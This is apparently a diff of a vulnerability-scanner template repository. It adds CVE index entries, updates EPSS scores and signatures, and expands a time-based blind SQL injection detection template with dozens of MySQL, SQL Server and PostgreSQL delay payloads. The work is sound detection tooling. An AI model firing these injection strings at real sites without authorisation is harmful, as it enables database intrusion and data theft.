 {"ID":"CVE-2025-48828","Info":{"Name":"vBulletin replaceAdTemplate - Remote Code Execution","Severity":"critical","Description":"vBulletin versions 5.0.0 through 6.0.3 contain a Remote Code Execution (RCE) vulnerability in the ajax/api/ad/replaceAdTemplate endpoint. This flaw arises from improper use of PHP's Reflection API, allowing unauthenticated attackers to invoke protected controller methods. By injecting a crafted \u003cvb:if\u003e conditional that executes arbitrary PHP code via passthru($_POST[\u003cparam\u003e]), and triggering it with a second request to ajax/render/ad_\u003clocation\u003e, attackers can run arbitrary commands on the server as the webserver user.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-48828.yaml"}
+{"ID":"CVE-2025-48954","Info":{"Name":"Discourse OAuth Social Login - Cross-site Scripting","Severity":"high","Description":"Discourse versions prior to 3.5.0.beta6 contain a stored Cross-Site Scripting (XSS) vulnerability in the OAuth/social login functionality. The vulnerability is caused by lack of proper content security policy enforcement when processing social login failures,allowing remote attackers to inject and execute malicious scripts in users' browsers.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2025/CVE-2025-48954.yaml"}
 {"ID":"CVE-2025-49029","Info":{"Name":"WordPress Custom Login And Signup Widget Plugin \u003c= 1.0 - Arbitrary Code Execution","Severity":"high","Description":"Improper Control of Generation of Code ('Code Injection') vulnerability in bitto.Kazi Custom Login And Signup Widget allows Code Injection.This issue affects Custom Login And Signup Widget: from n/a through 1.0\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-49029.yaml"}
 {"ID":"CVE-2025-49113","Info":{"Name":"Roundcube Webmail - Remote Code Execution","Severity":"critical","Description":"Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2025/CVE-2025-49113.yaml"}
 {"ID":"CVE-2025-49132","Info":{"Name":"Pterodactyl Panel - Remote Code Execution","Severity":"critical","Description":"Pterodactyl is a free, open-source game server management panel. Using the /locales/locale.json with the locale and namespace query parameters, a malicious actor is able to execute arbitrary code without being authenticated.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-49132.yaml"}
@@ -3146,15 +3155,22 @@
 {"ID":"CVE-2025-5086","Info":{"Name":"Dassault Systèmes DELMIA Apriso (up to 2025) - Insecure Deserialization","Severity":"critical","Description":"A deserialization of untrusted data vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could lead to a remote code execution.\n","Classification":{"CVSSScore":"9"}},"file_path":"http/cves/2025/CVE-2025-5086.yaml"}
 {"ID":"CVE-2025-52488","Info":{"Name":"DNN (DotNetNuke) - Unicode Path Normalization NTLM Hash Disclosure","Severity":"high","Description":"DNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. In versions 6.0.0 to before 10.0.1, DNN.PLATFORM allows a specially crafted series of malicious interaction to potentially expose NTLM hashes to a third party SMB server. This issue has been patched in version 10.0.1.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-52488.yaml"}
 {"ID":"CVE-2025-5287","Info":{"Name":"Likes and Dislikes Plugin \u003c= 1.0.0 - Unauthenticated SQL Injection","Severity":"high","Description":"The Likes and Dislikes Plugin plugin for WordPress is vulnerable to SQL Injection via the 'post' parameter in all versions up to, and including, 1.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-5287.yaml"}
+{"ID":"CVE-2025-53558","Info":{"Name":"ZTE ZXHN-F660T/F660A - Default Credentials","Severity":"high","Description":"ZXHN-F660T and ZXHN-F660A provided by ZTE Japan K.K. use a common credential for all installations. With the knowledge of the credential, an attacker may log in to the affected devices.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-53558.yaml"}
 {"ID":"CVE-2025-53624","Info":{"Name":"Docusaurus Gists Plugin \u003c 4.0.0 - GitHub Personal Access Token Exposure","Severity":"high","Description":"The Docusaurus gists plugin adds a page to your Docusaurus instance, displaying all public gists of a GitHub user. docusaurus-plugin-content-gists versions prior to 4.0.0 are vulnerable to exposing GitHub Personal Access Tokens in production build artifacts when passed through plugin configuration options. The token, intended for build-time API access only, is inadvertently included in client-side JavaScript bundles, making it accessible to anyone who can view the website's source code.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-53624.yaml"}
 {"ID":"CVE-2025-53770","Info":{"Name":"Microsoft SharePoint Server - Remote Code Execution (ToolShell)","Severity":"critical","Description":"Deserialization of untrusted data in on-premises Microsoft SharePoint Server allows an unauthorized attacker to execute code over a network. Microsoft is aware that an exploit for CVE-2025-53770 exists in the wild. Microsoft is preparing and fully testing a comprehensive update to address this vulnerability. In the meantime, please make sure that the mitigation provided in this CVE documentation is in place so that you are protected from exploitation.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-53770.yaml"}
 {"ID":"CVE-2025-53833","Info":{"Name":"LaRecipe \u003c 2.8.1 Remote Code Execution via SSTI","Severity":"critical","Description":"LaRecipe is an application that allows users to create documentation with Markdown inside a Laravel app. Versions prior to 2.8.1 are vulnerable to Server-Side Template Injection (SSTI), which could potentially lead to Remote Code Execution (RCE) in vulnerable configurations.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2025/CVE-2025-53833.yaml"}
+{"ID":"CVE-2025-5394","Info":{"Name":"Unauthenticated Arbitrary Plugin Upload in Alone Theme","Severity":"critical","Description":"The Alone – Charity Multipurpose Non-profit WordPress Theme theme for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the alone_import_pack_install_plugin() function in all versions up to, and including, 7.8.3.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-5394.yaml"}
+{"ID":"CVE-2025-54589","Info":{"Name":"Copyparty \u003c=1.18.6 - Cross-Site Scripting","Severity":"medium","Description":"Copyparty before 1.18.7 is vulnerable to reflected cross-site scripting (XSS) via the 'filter' parameter in the '/?ru' endpoint. Unsanitized user input is reflected in the HTML response, allowing attackers to execute arbitrary JavaScript in the context of the victim's browser.\n","Classification":{"CVSSScore":"6.3"}},"file_path":"http/cves/2025/CVE-2025-54589.yaml"}
+{"ID":"CVE-2025-54782","Info":{"Name":"NestJS DevTools Integration - Remote Code Execution","Severity":"critical","Description":"Nest is a framework for building scalable Node.js server-side applications. In versions 0.2.0 and below, a critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine. The package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox.\n","Classification":{"CVSSScore":"9.4"}},"file_path":"http/cves/2025/CVE-2025-54782.yaml"}
 {"ID":"CVE-2025-5569","Info":{"Name":"IdeaCMS \u003c= 1.7 - SQL Injection","Severity":"critical","Description":"IdeaCMS up to 1.7 is vulnerable to SQL injection via the field parameter in article and product query interfaces. This template uses a time-based payload to safely detect the vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-5569.yaml"}
 {"ID":"CVE-2025-5777","Info":{"Name":"Citrix NetScaler Memory Disclosure - CitrixBleed 2","Severity":"critical","Description":"Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-5777.yaml"}
 {"ID":"CVE-2025-5961","Info":{"Name":"WordPress WPvivid Backup \u0026 Migration Plugin \u003c= 0.9.116 - Authenticated Arbitrary File Upload","Severity":"high","Description":"The Migration, Backup, Staging – WPvivid Backup \u0026 Migration plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'wpvivid_upload_import_files' function in all versions up to, and including, 0.9.116.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-5961.yaml"}
 {"ID":"CVE-2025-6058","Info":{"Name":"WPBookit \u003c= 1.0.4 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image_upload_handle() function hooked via the 'add_booking_type' route in all versions up to, and including, 1.0.4.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-6058.yaml"}
+{"ID":"CVE-2025-6197","Info":{"Name":"Open Redirect via Organization Switching","Severity":"medium","Description":"An open redirect vulnerability has been identified in Grafana OSS organization switching functionality. Prerequisites for exploitation Multiple organizations must exist in the Grafana instance - Victim must be on a different organization than the one specified in the URL\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-6197.yaml"}
 {"ID":"CVE-2025-6851","Info":{"Name":"WordPress Broken Link Notifier \u003c 1.3.1 - Unauthenticated SSRF","Severity":"high","Description":"The Broken Link Notifier plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.0 via the ajax_blinks() function which ultimately calls the check_url_status_code() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-6851.yaml"}
+{"ID":"CVE-2025-6934","Info":{"Name":"The Opal Estate Pro – Property Management \u003c= 1.7.5 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"The Opal Estate Pro plugin (≤ 1.7.5) is vulnerable to privilege escalation. Due to missing role restrictions in the on_register_user function, users can register with any role. This allows unauthenticated attackers to create administrator accounts.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6934.yaml"}
 {"ID":"CVE-2025-6970","Info":{"Name":"WordPress Events Manager \u003c= 7.0.3 - SQL Injection","Severity":"critical","Description":"The Events Manager - Calendar, Bookings, Tickets, and more! plugin for WordPress is vulnerable to time-based SQL Injection via the 'orderby' parameter in all versions up to, and including, 7.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6970.yaml"}
+{"ID":"CVE-2025-8286","Info":{"Name":"Güralp Systems FMUS Series - Unauthenticated Access","Severity":"critical","Description":"Güralp Systems FMUS Series Seismic Monitoring Devices expose an unauthenticated Telnet-based command line interface that allows attackers to modify hardware configurations, manipulate data, or factory reset the device.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-8286.yaml"}
 {"ID":"CVE-2001-1473","Info":{"Name":"Deprecated SSHv1 Protocol Detection","Severity":"high","Description":"SSHv1 is deprecated and has known cryptographic issues.","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2001/CVE-2001-1473.yaml"}
 {"ID":"CVE-2004-2687","Info":{"Name":"Distccd v1 - Remote Code Execution","Severity":"high","Description":"distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"network/cves/2004/CVE-2004-2687.yaml"}
 {"ID":"CVE-2011-2523","Info":{"Name":"VSFTPD 2.3.4 - Backdoor Command Execution","Severity":"critical","Description":"VSFTPD v2.3.4 had a serious backdoor vulnerability allowing attackers to execute arbitrary commands on the server with root-level access. The backdoor was triggered by a specific string of characters in a user login request, which allowed attackers to execute any command they wanted.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2011/CVE-2011-2523.yaml"}

cves.json-checksum.txt

@@ -1 +1 @@
-29bb20ad5afe35177b8c8726b249e83d
+3a74c74dfb60ee61c2864054b1b4df88

dast/cves/2021/CVE-2021-45046.yaml

@@ -16,7 +16,7 @@ info:
     cvss-score: 9
     cve-id: CVE-2021-45046
     cwe-id: CWE-502
-    epss-score: 0.94340
+    epss-score: 0.9434
     epss-percentile: 0.99946
   metadata:
     max-request: 1
@@ -62,4 +62,4 @@ http:
         group: 1
         regex:
           - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4b0a00483046022100a8939bb9bc6ccb1b77d9f06e06ca0db8116d5c0b73361a660d9f9a7b3e104f20022100df3e7994cdfd47bb085887aab47b53e80f0fc32a8589e337462d83aa015db1c9:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b2d82bb000abf87ac9bee230b6e1bd3f97c674c9650a7048299640e9eb976321022100added7594d87013b651893248c5b84c38b1755e5a5d199346eebb9799483a762:922c64590222798bb761d5b6d8e72950

dast/cves/2022/CVE-2022-22965.yaml

@@ -17,7 +17,7 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2022-22965
     cwe-id: CWE-94
-    epss-score: 0.94460
+    epss-score: 0.9446
     epss-percentile: 0.99992
     cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
   metadata:
@@ -55,4 +55,4 @@ http:
         words:
           - "User-Agent: Java"
         case-insensitive: true
-# digest: 4b0a00483046022100915d17fb5a8d51b02db38fbe465d2de61ea80000397a7e86ebc49a4a9889412b022100820d081fc544c8aa867d04cfa1d0878008729d0459f08a166c459d7d16234099:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009aa5803189d9de1bc1973013f1cc5da110b2e46b1c62ea16cf1a491d31f3e3930221009486794f409eb77b8e87d8be71b79f23bf2d7c2dd6378e79c7707acd3cd75b9e:922c64590222798bb761d5b6d8e72950

dast/cves/2022/CVE-2022-34265.yaml

@@ -16,7 +16,7 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2022-34265
     cwe-id: CWE-89
-    epss-score: 0.92493
+    epss-score: 0.92734
     epss-percentile: 0.99731
   tags: sqli,dast,vulhub,cve,cve2022,django
 
@@ -46,4 +46,4 @@ http:
       - type: status
         status:
           - 500
-# digest: 490a004630440220765d0b95605f033abc16dd45dbd789eab737ca6bd0c261eb914b8fcf1fc7f9e902202d55d0d730a667ad2683e84023cdea5e2896a20b863a8cf0a2865d081aaf575b:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210098d78757d6c41dc230c2e3d9355ac08365b4359ce54975ea46fb15f1232e9d7e022100bab0052a218ffc6a25ab06e85cb78c0bd25291ee57bc9c3027d550638335ccb6:922c64590222798bb761d5b6d8e72950

dast/cves/2024/CVE-2024-2961.yaml

@@ -18,7 +18,7 @@ info:
     cvss-score: 7.3
     cve-id: CVE-2024-2961
     cwe-id: CWE-787
-    epss-score: 0.91735
+    epss-score: 0.91923
     epss-percentile: 0.99668
   tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast
 
@@ -57,4 +57,4 @@ http:
       - type: regex
         regex:
           - "root:x:0:0"
-# digest: 4b0a00483046022100f5fcacc5989901a485f707e1e046c0bb430448747aa9d1753933a28c4d863e75022100bf1a25c7f01875384e8ce50fdb752faf2f3d5336ede7c0491f8f74852d678a7d:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100982f2b65afa11c4113a1c937d0e0c157b236d7414622bd1e26e903d042e50949022100ce852c63c7c449a66c53722a65379f5fdedee549a38679abfe6dc2f6e5fd0a91:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/sqli/time-based-sqli.yaml

@@ -2,10 +2,10 @@ id: time-based-sqli
 
 info:
   name: Time-Based Blind SQL Injection
-  author: 0xKayala
+  author: 0xKayala,Jaenact
   severity: critical
   description: |
-    This Template detects time-based Blind SQL Injection vulnerability
+    Sends time-delay SQL payloads and measures response latency to confirm blind injection in various database engines, enabling data extraction without direct error messages.
   tags: time-based-sqli,sqli,dast,blind
 
 flow: http(1) && http(2)
@@ -29,12 +29,87 @@ http:
 
     payloads:
       injection:
+        # MySQL / MariaDB
         - "(SELECT(0)FROM(SELECT(SLEEP(7)))a)"
         - "'XOR(SELECT(0)FROM(SELECT(SLEEP(7)))a)XOR'Z"
         - "' AND (SELECT 4800 FROM (SELECT(SLEEP(7)))HoBG)--"
         - "if(now()=sysdate(),SLEEP(7),0)"
         - "'XOR(if(now()=sysdate(),SLEEP(7),0))XOR'Z"
         - "'XOR(SELECT CASE WHEN(1234=1234) THEN SLEEP(7) ELSE 0 END)XOR'Z"
+        - "sleep(7)#"
+        - "1 or sleep(7)#"
+        - "\" or sleep(7)#"
+        - "' or sleep(7)#"
+        - "\" or sleep(7)=\""
+        - "' or sleep(7)='"
+        - "1) or sleep(7)#"
+        - "\") or sleep(7)=\""
+        - "') or sleep(7)='"
+        - "1)) or sleep(7)#"
+        - "\")) or sleep(7)=\""
+        - "')) or sleep(7)='"
+        - "AND (SELECT * FROM (SELECT(SLEEP(7)))bAKL) AND 'vRxe'='vRxe"
+        - "AND (SELECT * FROM (SELECT(SLEEP(7)))YjoC) AND '%'='"
+        - "AND (SELECT * FROM (SELECT(SLEEP(7)))nQIP)"
+        - "AND (SELECT * FROM (SELECT(SLEEP(7)))nQIP)--"
+        - "AND (SELECT * FROM (SELECT(SLEEP(7)))nQIP)#"
+        - "SLEEP(7)#"
+        - "SLEEP(7)--"
+        - "SLEEP(7)=\""
+        - "SLEEP(7)='"
+        - "or SLEEP(7)"
+        - "or SLEEP(7)#"
+        - "or SLEEP(7)--"
+        - "or SLEEP(7)=\""
+        - "or SLEEP(7)='"
+        - "AnD SLEEP(7)"
+        - "AnD SLEEP(7)--"
+        - "AnD SLEEP(7)#"
+        - "&&SLEEP(7)"
+        - "&&SLEEP(7)--"
+        - "&&SLEEP(7)#"
+        - "' AnD SLEEP(7) ANd '1"
+        - "'&&SLEEP(7)&&'1"
+        - "ORDER BY SLEEP(7)"
+        - "ORDER BY SLEEP(7)--"
+        - "ORDER BY SLEEP(7)#"
+        - "(SELECT * FROM (SELECT(SLEEP(7)))ecMj)"
+        - "(SELECT * FROM (SELECT(SLEEP(7)))ecMj)#"
+        - "(SELECT * FROM (SELECT(SLEEP(7)))ecMj)--"
+        - "+ SLEEP(7) + '"
+        - "SLEEP(7)/*' or SLEEP(7) or '\" or SLEEP(7) or \"*/"
+
+        # SQL Server
+        - ";waitfor delay '0:0:7'--"
+        - ");waitfor delay '0:0:7'--"
+        - "';waitfor delay '0:0:7'--"
+        - "\";waitfor delay '0:0:7'--"
+        - "');waitfor delay '0:0:7'--"
+        - "\");waitfor delay '0:0:7'--"
+        - "));waitfor delay '0:0:7'--"
+        - "'));waitfor delay '0:0:7'--"
+        - "\"));waitfor delay '0:0:7'--"
+        - "waitfor delay '00:00:07'"
+        - "waitfor delay '00:00:07'--"
+        - "waitfor delay '00:00:07'#"
+
+        # PostgreSQL
+        - "pg_sleep(7)--"
+        - "1 or pg_sleep(7)--"
+        - "\" or pg_sleep(7)--"
+        - "' or pg_sleep(7)--"
+        - "1) or pg_sleep(7)--"
+        - "\") or pg_sleep(7)--"
+        - "') or pg_sleep(7)--"
+        - "1)) or pg_sleep(7)--"
+        - "\")) or pg_sleep(7)--"
+        - "')) or pg_sleep(7)--"
+        - "pg_SLEEP(7)"
+        - "pg_SLEEP(7)--"
+        - "pg_SLEEP(7)#"
+        - "or pg_SLEEP(7)"
+        - "or pg_SLEEP(7)--"
+        - "or pg_SLEEP(7)#"
 
     fuzzing:
       - part: query
@@ -44,8 +119,9 @@ http:
           - "{{injection}}"
 
     stop-at-first-match: true
+
     matchers:
       - type: dsl
         dsl:
           - "duration>=7 && duration <=16"
-# digest: 4a0a004730450220221817cdddedb8336ddb4afc4476f70da46a0dfb726a703a5e748458ae5bef000221009ebe3675d3fd10bf29161c179bd9b317b01f18643c2f8a6731ed9d89569495cc:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220309239d5777147313e84be59dd7de76c9ecf2fb9906dfee402c77c9699956df9022046402821c7d21565effb26fd2aab34bf0474ebfb6876b979f1efadebc7af04c4:922c64590222798bb761d5b6d8e72950

dns/bimi-detect.yaml

@@ -23,4 +23,4 @@ dns:
       - type: regex
         regex:
           - "v=BIMI1(.+)"
-# digest: 490a0046304402204f94857f46d6eff7142da0f085d6083e89cc36740474fc0d88581a474d25a63602202cac40960773492a8f6a82b64013fac9e5db3803ab0ccd93cbe671d407b7d28c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008a783b68f07a839787c01fd5fa7000d55c7931571e1872433f3477a6d94c276a022100c52719f47fc5a37749ecb73ec16c4c536d61bfb4eaff4043e80983aa0d244a87:922c64590222798bb761d5b6d8e72950

dns/fbi-seized-nameserver.yaml

@@ -35,4 +35,4 @@ dns:
         group: 1
         regex:
           - "IN\\tNS\\t(.+)"
-# digest: 490a0046304402205872847e15f6c4de9a7489528345bc157c868db221aeecee3f0c492b8d54e093022043fbdcc6a94ab2b3371d60db1b28be630e8c6c70a5dc358379c3ed1a49e3b52d:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220493622d9df516c2e240732ee8774e2d9fbdc23effe742b4f9c0df4ef02469c2f0220489f31cdf5e3e63ae22341b2d2226b3210f0ec86cd250e2b74a7dda61352e35c:922c64590222798bb761d5b6d8e72950

dns/soa-detect.yaml

@@ -81,4 +81,4 @@ dns:
         name: "edge-cast"
         words:
           - "edgecastdns.net"
-# digest: 490a0046304402207a5d1dc09fc0cc081cf534cad3ad2282e5f0f61c09cc4a3c03cc72827ae052d702206b7fd926868cd42ac1181c1c90bc306a3e738b06bba4bc36c8daa61b2de2d596:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100cc6e872c9d3f3dfbad262a1475eef14e7daacef7d92ccd6c32489995f659c51e02205f48d798a4c9f001154362de6bf58723a7b0fbd164dc72b41f7af93037efa329:922c64590222798bb761d5b6d8e72950

dns/spf-record-detect.yaml

@@ -23,4 +23,4 @@ dns:
       - type: regex
         regex:
           - "v=spf1(.+)"
-# digest: 490a0046304402207c33a488cc7168d7e1b02efab1b90f5cbbf25a3c1b2e12565d1798db7ef39d670220235db30ccffb6b5c5521633cff5da8718f01436a2e5d0d14ff6b82c4606eef68:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008f6b43398464e47dd3055d2048ab8cb06f0e04d0796efc2c295689cc74b5e05d022100923a7792076797359f72eeb89260b7017f766be6619c1083952d82d02332a665:922c64590222798bb761d5b6d8e72950

dns/txt-service-detect.yaml

@@ -1,18 +1,18 @@
 id: txt-service-detect
 
-info:
-  name: DNS TXT Service - Detect
-  author: rxerium
-  severity: info
-  description: |
-    Finding the services companies use via their TXT records.
-  reference:
-    - https://www.abenezer.ca/blog/services-companies-use-txt-records
-  metadata:
-    verified: true
-    max-request: 1
-  tags: dns,txt
-
+info:
+  name: DNS TXT Service - Detect
+  author: rxerium
+  severity: info
+  description: |
+    Finding the services companies use via their TXT records.
+  reference:
+    - https://www.abenezer.ca/blog/services-companies-use-txt-records
+  metadata:
+    verified: true
+    max-request: 1
+  tags: dns,txt,txt-service
+
 dns:
   - name: "{{FQDN}}"
     type: TXT
@@ -218,4 +218,4 @@ dns:
         name: "whimsical"
         words:
           - "whimsical"
-# digest: 4a0a0047304502204b083beeabed939e25d83909035f8e163903e84f4b0bc117be6efdfc5e7fdde6022100d3dca651f74eea983d548c4aac99d356f26dbbbe39b4c1cef4e39dc77c36abe5:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202394a48a37222205f71d4eec71abc948a0c94f1d832866b0c622e1334f1a9d3f02202dc99e406cb015ae19247a387b9063ac363e05168708ffae7c5d265b92d105a5:922c64590222798bb761d5b6d8e72950

file/logs/aspnet-framework-exceptions.yaml

@@ -22,4 +22,4 @@ file:
           - 'InvalidOperationException'
           - 'UnauthorizedAccessException'
           - 'NotFound'
-# digest: 490a0046304402201b1cd49c363414e43a7b69ffac5fa50b8be7e0be6432d822e25d230ead3ef8dc022078bd91960467187e8c3df8a4710681eab292dd436895ca8c03a6f8065fa3b7e7:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220740a8af7ee61218b72ab6152cc4dd25eda09505131ca5a0a9ad8ce6c9b160df30220687fb97327148c5919feb0d7d89d42d252fe36c6a97a0597975423490928f018:922c64590222798bb761d5b6d8e72950

file/logs/nodejs-framework-exceptions.yaml

@@ -30,4 +30,4 @@ file:
           - 'BadRequestError'
           - 'MongoError'
           - 'SequelizeDatabaseError'
-# digest: 4a0a00473045022100c34a3801ea196d62e751a4bc3e1d5103c8f39c941aa4e47819d1c74b266ec1090220680094a29970c5fd77f43bf0a43091666b384a8d7fe60438390ff4d1f9b1b740:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b35aa66ca0e28ac7878811473bb7c493b58894700ffd618f9d46fbc4c95794c802202aa4fb77f4656b22f7934f3565b397feed13288233b90139f3f780336d0816c1:922c64590222798bb761d5b6d8e72950

headless/cookie-consent-detection.yaml

@@ -31,4 +31,4 @@ headless:
       - type: status
         status:
           - 200
-# digest: 4a0a004730450221008181e4d7a49a3b951351023494b0d72ae16246c2e18d1da039d928ea16d62e320220496e091dd66f15f9466b89615aa0043bcbde638bbf4ba5febb57e8b791c11ba8:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202c1c150c6904d50fe2bc5aa832307ae8e3cb4d1a183ba105a26c475a10defa71022100c272077a4ee827b5aa42e07d5175a596861f036c01c93d65193705a2a7d95ca1:922c64590222798bb761d5b6d8e72950

headless/cves/2018/CVE-2018-25031.yaml

@@ -19,7 +19,7 @@ info:
     cvss-score: 4.3
     cve-id: CVE-2018-25031
     cwe-id: CWE-20
-    epss-score: 0.81869
+    epss-score: 0.82878
     epss-percentile: 0.99147
     cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
   metadata:
@@ -54,4 +54,4 @@ headless:
         words:
           - "swagger"
         case-insensitive: true
-# digest: 4a0a00473045022100a2f7e5ac70597ad87663ef0c9ad4bee161a599d2e03938161ace1128046c9b20022046775d61a5e4cae1d9c124ef010c9e100dcf6f7b6b078485fc0fe735de5c59d6:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009aeabef438a58bf3836d81dfd29b471e543e948f670793238652ebdad6be4a75022100e4eefab1496063a33f82cb64d5d7721ada3a18f5cee561ec49c9943629968c94:922c64590222798bb761d5b6d8e72950

headless/cves/2024/CVE-2024-29882.yaml

@@ -14,7 +14,7 @@ info:
     cvss-score: 7.2
     cve-id: CVE-2024-29882
     cwe-id: CWE-79
-    epss-score: 0.02012
+    epss-score: 0.01812
     epss-percentile: 0.82957
   metadata:
     verified: true
@@ -46,4 +46,4 @@ headless:
           - "ConnectSRS</a>"
         condition: or
         case-insensitive: true
-# digest: 490a0046304402206cddf49edf926f4a2fc79e6bc3d44c28d92452607fab4a78c546667823eea63e022078814f733d0906b711afdbd5826bb664f3171ae8c38e5d175d567d52c877d89c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100cb7c065d3d1f46a4311cdb471f6afe0f117d06bd60e805b0bc9f9cc974e10e9b022100d35eebc647e75db583d63d38016762baa3cc84652e810fee9ffad89a73529094:922c64590222798bb761d5b6d8e72950

headless/cves/2024/CVE-2024-38526.yaml

@@ -20,7 +20,7 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L
     cvss-score: 7.2
     cve-id: CVE-2024-38526
-    epss-score: 0.66721
+    epss-score: 0.56332
     epss-percentile: 0.98451
   tags: cve,cve2024,supply-chain,polyfill
 headless:
@@ -60,4 +60,4 @@ headless:
           - "union.macoms.la"
           - "newcrbpc.com"
         part: urls
-# digest: 4b0a00483046022100db8ee4bad1a3f649738173744c0b13228813c8f6149eed8ce1b9428955372d7a0221009d6fdcfee495e43dc703fb4ae3f9b8928359673160b77f0da6b553db315ad3d0:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201096d64f0fcf071cac45f34f69eccfd1fd4d2c8fcdd0f798a63445b2895b468f022100c0494cc5abb2e052bb11f4437b5cc9919bfb400794a8cc6a3c62e5d35129fcca:922c64590222798bb761d5b6d8e72950

headless/cves/2025/CVE-2025-24752.yaml

@@ -10,6 +10,8 @@ info:
     - https://www.tenable.com/plugins/was/114609
     - https://patchstack.com/articles/reflected-xss-patched-in-essential-addons-for-elementor-affecting-2-million-sites/
     - https://github.com/Sachinart/essential-addons-for-elementor-xss-poc/blob/main/poc.py
+  classification:
+    epss-score: 0.03071
   metadata:
     verified: true
     max-request: 1
@@ -39,4 +41,4 @@ headless:
         words:
           - "{{random_int}}"
         case-insensitive: true
-# digest: 4a0a00473045022000b042f51608cca47a2a1f7bb177f443e5aab2d7922d69d7f2b66d68888cb7fc0221009e736ccd5e74d05842fa56a943949cc17d330fb501505a2beec0c400eca3adf0:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022036e53f3f929e789da67d5b1394060a391c996d197d5b92b89b1a29ba6c4a0551022100c6a0eb7e423745b36411a672f943bb1c1f83c7d6009b0d78cabf6b06038533cd:922c64590222798bb761d5b6d8e72950

headless/cves/2025/CVE-2025-25062.yaml

@@ -16,7 +16,7 @@ info:
     cvss-score: 4.4
     cve-id: CVE-2025-25062
     cwe-id: CWE-79
-    epss-score: 0.38601
+    epss-score: 0.25298
     epss-percentile: 0.97094
